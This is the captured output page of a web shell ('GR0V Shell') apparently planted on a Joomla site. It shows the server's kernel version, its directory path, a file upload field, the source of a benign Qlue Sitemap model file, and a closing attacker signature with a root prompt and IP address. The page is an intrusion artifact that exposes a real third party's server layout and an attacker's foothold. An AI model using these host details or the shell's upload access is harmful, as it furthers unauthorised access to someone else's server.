? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/administrator/components/com_sitemap/models/
File Upload :
Current File : /home/admin/public_html/old/administrator/components/com_sitemap/models/sitemap.php

<?php

/**
* Qlue Sitemap
*
* @author Jon Boutell
* @package QMap
* @license GNU/GPL
* @version 1.0
*
* This component gathers information from various Joomla Components and 
* compiles them into a sitemap, supporting both an HTML view and an XML 
* format for search engines.
*
*/

defined('_JEXEC') or die('Restricted Access');

class SitemapModelSitemap extends JModelAdmin {

	public function getTable($name = 'Sitemap', $prefix = 'SitemapTable', $config = array()) {
		return JTable::getInstance($name, $prefix, $config);
	}

	public function getForm($data = array(), $loadData = true) {
		$form = $this->loadForm('com_sitemap.sitemap', 'sitemap', array('control' => 'jform', 'load_data' => $loadData));

		return $form;
	}

	public function loadFormData() {
		$app = JFactory::getApplication();

		$data = $app->getUserState('com_sitemap.edit.sitemap.data', array());

		if (empty($data)) {
			$data = $this->getItem();
		}

		return $data;
	}

}

?>

T1KUS90T
  root-grov@210.1.60.28:~$